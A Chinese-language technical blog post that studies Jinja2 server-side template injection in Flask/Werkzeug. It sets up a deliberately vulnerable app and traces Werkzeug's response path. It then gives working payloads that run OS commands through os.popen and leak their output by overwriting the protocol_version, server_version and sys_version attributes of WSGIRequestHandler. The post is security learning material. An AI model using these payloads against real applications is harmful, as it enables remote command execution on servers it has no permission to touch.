Jinja2-SSTI 新回显方式技术学习
前言
拜读了https://xz.aliyun.com/t/15780 的文章,又想起了以前看到的回显方式,也是通过响应包来回显的,以前菜,调试不来代码,最近正好又有人提起,于是研究一波
环境搭建
这里就使用 GSBP 师傅的环境就够了
from flask import Flask, request,render_template, render_template_string
app = Flask(__name__)
@app.route('/', methods=["POST"])
def template():
template = request.form.get("code")
result=render_template_string(template)
print(result)
if result !=None:
return "OK"
else:
return "error"
if __name__ == '__main__':
app.run(debug=False, host='0.0.0.0', port=8000)
response 生成的过程
首先我们随便发一个包
响应包如下
这些都是我们的回显,回显又会分为两个部分
一个是 header 头,一个是 body
下面将从两个点去研究我们的响应包
GSBP 师傅是通过 Server 头带出的回显,其实不然,能够带出回显的方法很多,只有是能在页面上的,都是可以的
响应包必然是通过请求处理的,因此找到处理请求的地方
process_request_thread, socketserver.py:683
run, threading.py:953
_bootstrap_inner, threading.py:1016
_bootstrap, threading.py:973
process_request_thread 方法
def process_request_thread(self, request, client_address):
"""Same as in BaseServer but as a thread.
In addition, exception handling is done here.
"""
try:
self.finish_request(request, client_address)
except Exception:
self.handle_error(request, client_address)
finally:
self.shutdown_request(request)
一眼顶真,具体实现应该在 finish_request 方法,然后 handle_error 是用来处理异常请求的,说不定也是可以利用的
跟进 finish_request 方法
def finish_request(self, request, client_address):
"""Finish one request by instantiating RequestHandlerClass."""
self.RequestHandlerClass(request, client_address, self)
是实例化了一个 RequestHandlerClass 类
def __init__(self, request, client_address, server):
self.request = request
self.client_address = client_address
self.server = server
self.setup()
try:
self.handle()
finally:
self.finish()
在实例化的过程中调用 self.handle()来处理
def handle(self):
"""Handle multiple requests if necessary."""
self.close_connection = True
self.handle_one_request()
while not self.close_connection:
self.handle_one_request()
跟进 handle_one_request 方法
def handle_one_request(self):
"""Handle a single HTTP request.
You normally don't need to override this method; see the class
__doc__ string for information on how to handle specific HTTP
commands such as GET and POST.
"""
try:
self.raw_requestline = self.rfile.readline(65537)
if len(self.raw_requestline) > 65536:
self.requestline = ''
self.request_version = ''
self.command = ''
self.send_error(HTTPStatus.REQUEST_URI_TOO_LONG)
return
if not self.raw_requestline:
self.close_connection = True
return
if not self.parse_request():
# An error code has been sent, just exit
return
mname = 'do_' + self.command
if not hasattr(self, mname):
self.send_error(
HTTPStatus.NOT_IMPLEMENTED,
"Unsupported method (%r)" % self.command)
return
method = getattr(self, mname)
method()
self.wfile.flush() #actually send the response if not already done.
except TimeoutError as e:
#a read or a write timed out. Discard this connection
self.log_error("Request timed out: %r", e)
self.close_connection = True
return
真正的开始解析我们的请求了,首先检查请求行长度请求行超过 65536 字节,意味着请求的 URI 太长,直接置空 requestline、request_version 和 command
然后检测请求行,之后通过 parse_request 解析请求,检测是否支持请求方法
然后交由 method()方法处理
部分代码
def write(data: bytes) -> None:
nonlocal status_sent, headers_sent, chunk_response
assert status_set is not None, "write() before start_response"
assert headers_set is not None, "write() before start_response"
if status_sent is None:
status_sent = status_set
headers_sent = headers_set
try:
code_str, msg = status_sent.split(None, 1)
except ValueError:
code_str, msg = status_sent, ""
code = int(code_str)
self.send_response(code, msg)
header_keys = set()
跟进 send_response 方法
def send_response(self, code, message=None):
"""Add the response header to the headers buffer and log the
response code.
Also send two standard headers with the server software
version and the current date.
"""
self.log_request(code)
self.send_response_only(code, message)
self.send_header('Server', self.version_string())
self.send_header('Date', self.date_time_string())
http 协议回显
发送了一些信息,可以看到其实就是我们回显包里面的信息
首先看到 send_response_only 方法
def send_response_only(self, code, message=None):
"""Send the response header only."""
if self.request_version != 'HTTP/0.9':
if message is None:
if code in self.responses:
message = self.responses[code][0]
else:
message = ''
if not hasattr(self, '_headers_buffer'):
self._headers_buffer = []
self._headers_buffer.append(("%s %d %s\r\n" %
(self.protocol_version, code, message)).encode(
'latin-1', 'strict'))
可以看到这三个值都是页面上回显的值,我们只需要把这个值修改了,那岂不是就可以获取回显了
尝试寻找这些变量的位置
首先 protocol_version 就是<werkzeug.serving.WSGIRequestHandler object at 0x0000017078F01D80>
的一个属性,我们只需要找到 WSGIRequestHandler 对象
那就是寻找 werkzeug.serving.WSGIRequestHandler
werkzeug 是什么呢?
问问 GPT,方便我们寻找
Werkzeug 最初只是一个工具库,用于构建 WSGI Web 应用程序,后来发展成了一个功能丰富的 Web 工具包,被许多 Web 框架(如 Flask)用作底层基础组件。它包含多个模块和子包,比如用于请求和响应处理的模块、路由模块、调试工具等,封装了很多 HTTP 和 WSGI 的细节。
可以将 werkzeug 理解为一个模块集合,每个模块负责 Web 开发中的不同功能
那我们就从模块里面找找
修改一下代码准备寻找一番
from flask import Flask, request, render_template_string
app = Flask(__name__)
@app.route('/', methods=["POST"])
def template():
template = request.form.get("code")
result=render_template_string(template)
print(result)
if result !=None:
return result
else:
return "error"
if __name__ == '__main__':
app.run(debug=False, host='0.0.0.0', port=8000)
如果寻找到 moudles 是关键吗,sys
模块的 modules
属性以字典的形式包含了程序自开始运行时所有已加载过的模块,可以直接从该属性中获取到目标模块
所以需要获取 sys 模块,这个模块的获取方法还是很多的
可以从spec的全局变量中获取
然后再去获取我们需要的模块
获取 WSGIRequestHandler 对象
使用
code={{lipsum.__spec__.__init__.__globals__.sys.modules.werkzeug.serving.WSGIRequestHandler}}
获取 protocol_version 属性
赋值为我们恶意命令的回显,可以使用 setattr 方法
paylaod 如下
code={{lipsum.__globals__.__builtins__.setattr(lipsum.__spec__.__init__.__globals__.sys.modules.werkzeug.serving.WSGIRequestHandler,"protocol_version",lipsum.__globals__.__builtins__.__import__('os').popen('echo%20success').read())}}
成功
codemsg 回显*
当然除了我们的 protocol_version,当时我们还看到处理了 code 和 msg
我们也来修改修改试一试
我们查看一下关系
然后再往寻找
找了一会
get_wsgi_response, response.py:562
__call__, response.py:576
wsgi_app, app.py:1480
__call__, app.py:1498
execute, serving.py:331
run_wsgi, serving.py:370
handle_one_request, server.py:421
handle, server.py:433
handle, serving.py:398
__init__, socketserver.py:747
finish_request, socketserver.py:360
process_request_thread, socketserver.py:683
run, threading.py:953
_bootstrap_inner, threading.py:1016
_bootstrap, threading.py:973
现在就是寻找这个对象,找了一会没有找到,失败
server 头回显
然后只需要在上面的 payload 修改就好了
code={{lipsum.__globals__.__builtins__.setattr(lipsum.__spec__.__init__.__globals__.sys.modules.werkzeug.serving.WSGIRequestHandler,"server_version",lipsum.__globals__.__builtins__.__import__('os').popen('echo%20success').read())}}
然后还可以改下面的 pythonversion
code={{lipsum.__globals__.__builtins__.setattr(lipsum.__spec__.__init__.__globals__.sys.modules.werkzeug.serving.WSGIRequestHandler,"sys_version",lipsum.__globals__.__builtins__.__import__('os').popen('echo%20success2').read())}}
500 报错回显*
当然这只是一个思路
当时发现 500 页面会固定输出一些字符
HTTP/1.1 500 INTERNAL SERVER ERROR
Server: Werkzeug/3.0.5 Python/3.10.10
Date: Sat, 26 Oct 2024 09:34:30 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 265
Connection: close
<!doctype html>
<html lang=en>
<title>500 Internal Server Error</title>
<h1>Internal Server Error</h1>
<p>The server encountered an internal error and was unable to complete your request. Either the server is overloaded or there is an error in the application.</p>
如果我们找到这些字符,把他们替换为我们的命令回显能成功吗
首先寻找一些字符
找到了 response 对象,这里有各种状态码的报错,寻找 500
然后在页面选择
然后修改,但是出现了一个问题,setattr 怎么修改??
然后尝试了其他方法都是失败了
最后
其实如果能够找到 response,还有很多去其他的属性可以修改,但是时间精力有限,也没有再去找了